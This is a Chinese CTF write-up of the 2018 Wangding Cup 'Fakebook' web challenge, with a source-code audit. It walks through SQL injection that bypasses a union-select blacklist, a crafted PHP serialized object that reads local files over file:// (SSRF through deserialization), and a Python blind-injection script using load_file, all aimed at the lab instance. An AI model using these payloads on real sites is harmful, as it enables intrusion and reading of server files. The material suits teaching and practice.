• [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)


    简介

     原题复现:

     考察知识点:SSRF、反序列化、SQL注入

     线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

    过程

    分析了整体结构 点击jion可以添加账号还有博客地址添加OK之后会有ifram把你的博客地址引用到当前页面 jion添加的信息点击进入发现了get注入点 注入进去没flag 不过在data字段下发现了序列化的值

    /view.php?no=1 and 1=1
    /view.php?no=1 and 1=2
    /view.php?no=1 order by 5
    //发现过滤了union select 使用注释绕过
    /view.php?no=-1 union/**/select 1,2,3,4
    /view.php?no=-1 union/**/select 1,database(),3,4
    //得到数据库数据fakebook 
    /view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
    //得到表名数据:users 
    /view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
    //得到字段数据:no,username,passwd,data
    /view.php?no=-1 union/**/select 1,group_concat(data),3,4 from users
    //得到data字段下数据:O:8:"UserInfo":3:{s:4:"name";s:7:"xiaohua";s:3:"age";i:12;s:4:"blog";s:9:"baidu.com";} 

    到这里没思路了 因为我用的扫描器都没扫出什么 最后看wp才知道  robots.txt里面有东西(常识啊!!! 还是太懒。。。主要靠工具了。。)

    下载源码查看

    <?php
    
    
    class UserInfo
    {
        public $name = "";
        public $age = 0;
        public $blog = "";
    
        public function __construct($name, $age, $blog)
        {
            $this->name = $name;
            $this->age = (int)$age;
            $this->blog = $blog;
        }
    
        function get($url)
        {
            $ch = curl_init();
    
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $output = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            if($httpCode == 404) {
                return 404;
            }
            curl_close($ch);
    
            return $output;
        }
    
        public function getBlogContents ()
        {
            return $this->get($this->blog);
        }
    
        public function isValidBlog ()
        {
            $blog = $this->blog;
            return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
        }
    
    }
    
    }

     根据源码构造序列化

    <?php
    class UserInfo
    {
        public $name = "";
        public $age = 0;
        public $blog = "";
    }
    $a = new UserInfo();
    $a->name = 'admin888';
    $a->age = 12;
    $a->blog = 'file:///var/www/html/user.php';
    echo serialize($a);
    ?>
    O:8:"UserInfo":3:{s:4:"name";s:8:"admin888";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/user.php";}

    在测试的时候我们发现这里有个反序列化 看WP可以通过这个为止将我们的序列化传进去 系统将会进行反序列化之后我们传入的blog值将会被传递到页面ifram里面 这样就造成SSRF攻击!得到我们想要的页面 我们可以传入flag的页面拿到flag

    最终payload:

    http://b79a2b86-e971-4c1c-9ada-9f681aebe66f.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

    查看源码获得flag

     

    非预期解决方法

    还是看wp的

    因为没过滤load_file  sql load_file读取。。。。。。。

    脚本、

    import requests
    
    url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no='
    result = ''
    
    for x in range(0, 100):
        high = 127
        low = 32
        mid = (low + high) // 2
        while high > low:
            payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
            response = requests.get(url + payload)
            if 'www.123.com' in response.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
    
        result += chr(int(mid))
        print(result)

    程序代码审计

    index.php页面

    <?php session_start(); ?>
    <?php require_once 'db.php'; ?>
    <?php require_once 'user.php'; ?>
    <?php
    
    $flag = "FLAG{flag is in your mind}";
    
    $db = new DB();
    $user = new UserInfo();
    
    ?>
    <!doctype html>
    <html lang="ko">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport"
              content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Fakebook</title>
    
        <?php include 'bootstrap.php'; ?>
    
    </head>
    <body>
    <div class="container">
        <h1>the Fakebook</h1>
        <?php
    
        if (!isset($_SESSION['username'])) {
            $message = "<div class='row'>";
            $message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>";
            $message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>";
            $message .= "</div>";
    
            echo $message;
        }
    
    
        ?>
        <p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p>
    
        <table class="table">
            <tr>
                <th>#</th>
                <th>username</th>
                <th>age</th>
                <th>blog</th>
            </tr>
            <?php
    
            foreach ($db->getAllUsers() as $user)  //调用db里面的方法 getAllUsers()  
            {
                $data = unserialize($user['data']);  
    
                echo "<tr>";
                echo "<td>{$user['no']}</td>";
                echo "<td><a href='view.php?no={$user['no']}'>{$user['username']}</a></td>";
                echo "<td>{$data->age}</td>";
                echo "<td>{$data->blog}</td>";
                echo "</tr>
    ";
            }
    
            ?>
        </table>
    </div>
    View Code 

    获得$db->getAllUsers()数据之后循环 输出在页面之中 53行将数据反序列化序列化输出到页面之中  我们可以在首页看到 我们注册完一个用户之后 data对应的是blog就是我们的博客 也就是说我们注册用户所填写的博客地址存进数据库时就被序列化了用的时候再取出来反序列化一下 展示在页面之中

    发现getAllusers()先追溯一下 在db.php页面

    db.php页面  这个函数的功能 查询数据表users 之后返回出去

    join.ok.php(注册页面)

    这个程序10行实例化一个DB对象() ob对象存在于 db.php页面中往下审计db.php页面之后再回来

    12-15行获取我们join.php页面表单传输过来的值

    17行实例化了userinfo对象UserInfo存在于user.php页面之中往下拉先审计user.php页面之后再回来

    然后进行一系列判断 可以追溯到user.php页面中的对应函数 判断博客地址符不符合正则匹配 不符合则弹窗!

    第二个判断isValidUsername() 这个函数存在于db.php页面 是查询有没有这个用户如果有则弹窗

    第31行使用db.php里面的insertUser()函数将输入插入进数据库中

    之后复合所有规则则使用insertUser()将数据插入数据库中  追溯到insesrtUser可以看到将我们传进去的$user变量里面存储的是博客地址进行了序列化。

    33行执行login()函数进行登录

    先追溯DB()对象 在db.php页面

     db.php页面整体代码

    <?php
    
    require_once 'lib.php';
    $mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook');
    
    class DB {
    
        function __construct() {
            // $mysqli = new mysqli('localhost', 'root', '!@#1234!@#', 'fakebook');
        }
    
    
        //查询用户的函数
        public function isValidUsername($username) {
            global $mysqli;
            $query = "select * from users where username = '{$username}'";
            $res = $mysqli->query($query);
            if (!$res->fetch_array()) {
                return 1;
            } else {
                return 0;
            }
    
        }
    
        //登陆的函数
        function login($username, $passwd) {
            global $mysqli;
    
            $username = addslashes($username);
            $passwd = sha512($passwd);
            $query = "select * from users where username = '{$username}' and passwd = '{$passwd}'";
            $res = $mysqli->query($query);
    
            return $res->fetch_array();
        }
    
    
        //将数据插入到数据库中
        function insertUser($username, $passwd, $data) {
            global $mysqli;
    
            $username = substr($username, 0, 100);
            $username = addslashes($username);
            $passwd = sha512($passwd);
            $data = serialize($data);  //将data数据序列化存储
            $data = addslashes($data);
    
            $query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')";
            return $mysqli->real_query($query);
        }
    
        //查询整个users表
        public function getAllUsers() {
            global $mysqli;
    
            $query = "select * from users";
            $res = $mysqli->query($query);
            return $res->fetch_all(MYSQLI_ASSOC);
        }
    
    
        //获取指定数据库中的用户
        public function getUserByNo($no) {
            global $mysqli;
    
            // $no = addslashes($no);
            $query = "select * from users where no = {$no}";
            $res = $mysqli->query($query);
            if (!$res) {
                echo "<p>[*] query error! ({$mysqli->error})</p>";
            }
    
            return $res->fetch_assoc();
        }
        //SQL黑名单
        public function anti_sqli($no) {
            $patterns = "/unionWselect|0x|hex/i";
    
            return preg_match($patterns, $no);
        }
    
    }
    
    /*
    CREATE TABLE `users` ( `no` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(100) NOT NULL , `passwd` VARCHAR(128) NOT NULL , `data` TEXT NOT NULL , PRIMARY KEY (`no`)) ENGINE = MyISAM;
    
     */

    user.php

    简单审计...... 看完之后继续回到刚才的join.ok.php继续设计

    <?php
    
    
    class UserInfo
    {
        public $name = "";
        public $age = 0;
        public $blog = "";
    
        public function __construct($name, $age, $blog)//当程序被实例化时执行_construct
        {
            $this->name = $name;
            $this->age = (int)$age;
            $this->blog = $blog;
        }
    
    
    //此处存在SSRF漏洞 如果我们使用file:///读取文件将会造成SSRF漏洞!!!
        function get($url)
        {
            $ch = curl_init(); //初始化一个cURL会话
    
            curl_setopt($ch, CURLOPT_URL, $url); //设置一个cURL传输选项。
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  //CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出
            $output = curl_exec($ch); //执行一个curl_exec会话
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//获取一个cURL连接资源句柄的信息
            if($httpCode == 404) {
                return 404;
            }
            curl_close($ch);//关闭一个一个curl_exec会话
    
            return $output;
        }
    
        public function getBlogContents (//将当前获取到的博客地址传进get()函数里面 
        {
            return $this->get($this->blog);
        }
    
        public function isValidBlog () //判断输入的博客地址符不符合正则匹配 
        {
            $blog = $this->blog;
            return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
        }

     View.php

     页面整体代码

    <?php session_start(); ?>
    <?php require_once 'db.php'; ?>
    <?php require_once 'user.php'; ?>
    <?php require_once 'error.php'; ?>
    <?php
    
    $db = new DB();
    
    ?>
    <!doctype html>
    <html lang="ko">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport"
              content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>User</title>
    
        <?php require_once 'bootstrap.php'; ?>
    </head>
    <body>
    <?php
    
    $no = $_GET['no'];
    if ($db->anti_sqli($no))
    {
        die("no hack ~_~");
    }
    
    $res = $db->getUserByNo($no);
    $user = unserialize($res['data']);
    //print_r($res);
    
    ?>
    <div class="container">
        <table class="table">
            <tr>
                <th>
                    username
                </th>
                <th>
                    age
                </th>
                <th>
                    blog
                </th>
            </tr>
            <tr>
                <td>
                    <?php echo $res['username']; ?>
                </td>
                <td>
                    <?php echo $user->age; ?>
                </td>
                <td>
                    <?php echo xss($user->blog); ?>
                </td>
            </tr>
        </table>
    
        <hr>
        <br><br><br><br><br>
        <p>the contents of his/her blog</p>
        <hr>
        <?php
    
        $response = $user->getBlogContents();
        if ($response === 404)
        {
            echo "404 Not found";
        }
    
        else
        {
            $base64 = base64_encode($response);
            echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
            // echo $response;
        }
    
        // var_dump($user->getBlogContents());
        ?>
    
    </div>
    </body>
    </html>
    View Code

    24行接收get传进来值

    25行使用db函数中的anti_sqli()函数进行过滤 这个函数过滤了union select|0x|hex这三个 滞后使用getUserByNo()函数进行数据查询 这里存在SQL注入漏洞

    31行将查询到的data数据进行序列化显示!

    67行执行user.php里面的getBlogContent()函数 如果返回404则页面不存在否则使用iframe输出到页面之中 这里存在SSRF漏洞

     审计完总结:view页面存在get注入漏洞:通过sql可以简单绕过黑名单限制进行SQL注入

          join页面存在post注入漏洞

          在页面中直接提交file///etc/passwd 因为有正则匹配无法造成SSRF漏洞 但是我们可以借用sql配合使用SSRF获取我们想要的文件 本地序列化一个值然后通过SQL注入代入进去在位置4放入我们的序列化值因为位置4有个反序列化所以我们序列化的值进行反序列化的时候就可以成功执行file///etc/passwd 。

    参考学习:https://www.cnblogs.com/20175211lyz/p/11469695.html

        https://xz.aliyun.com/t/2607

  • 相关阅读:
    Oracle存储过程例子:运用了正则表达式、数组等
    Oracle正则表达式中注意的问题
    先取主键最大值再取extracted_time,替换Max(extracted_time)会有更高的效率
    临时表的使用及minus运算
    设置自动管理空间
    字段以Byte(字节)或char(字符)存储的设置
    javascript控制页面控件隐藏显示的两种方法
    Javascript遍历页面控件
    精妙的SQL和SQL SERVER 与ACCESS、EXCEL的数据导入导出转换
    事半功倍系列之javascript (转载)
  • 原文地址:https://www.cnblogs.com/xhds/p/12370281.html
Copyright © 2020-2023  润新知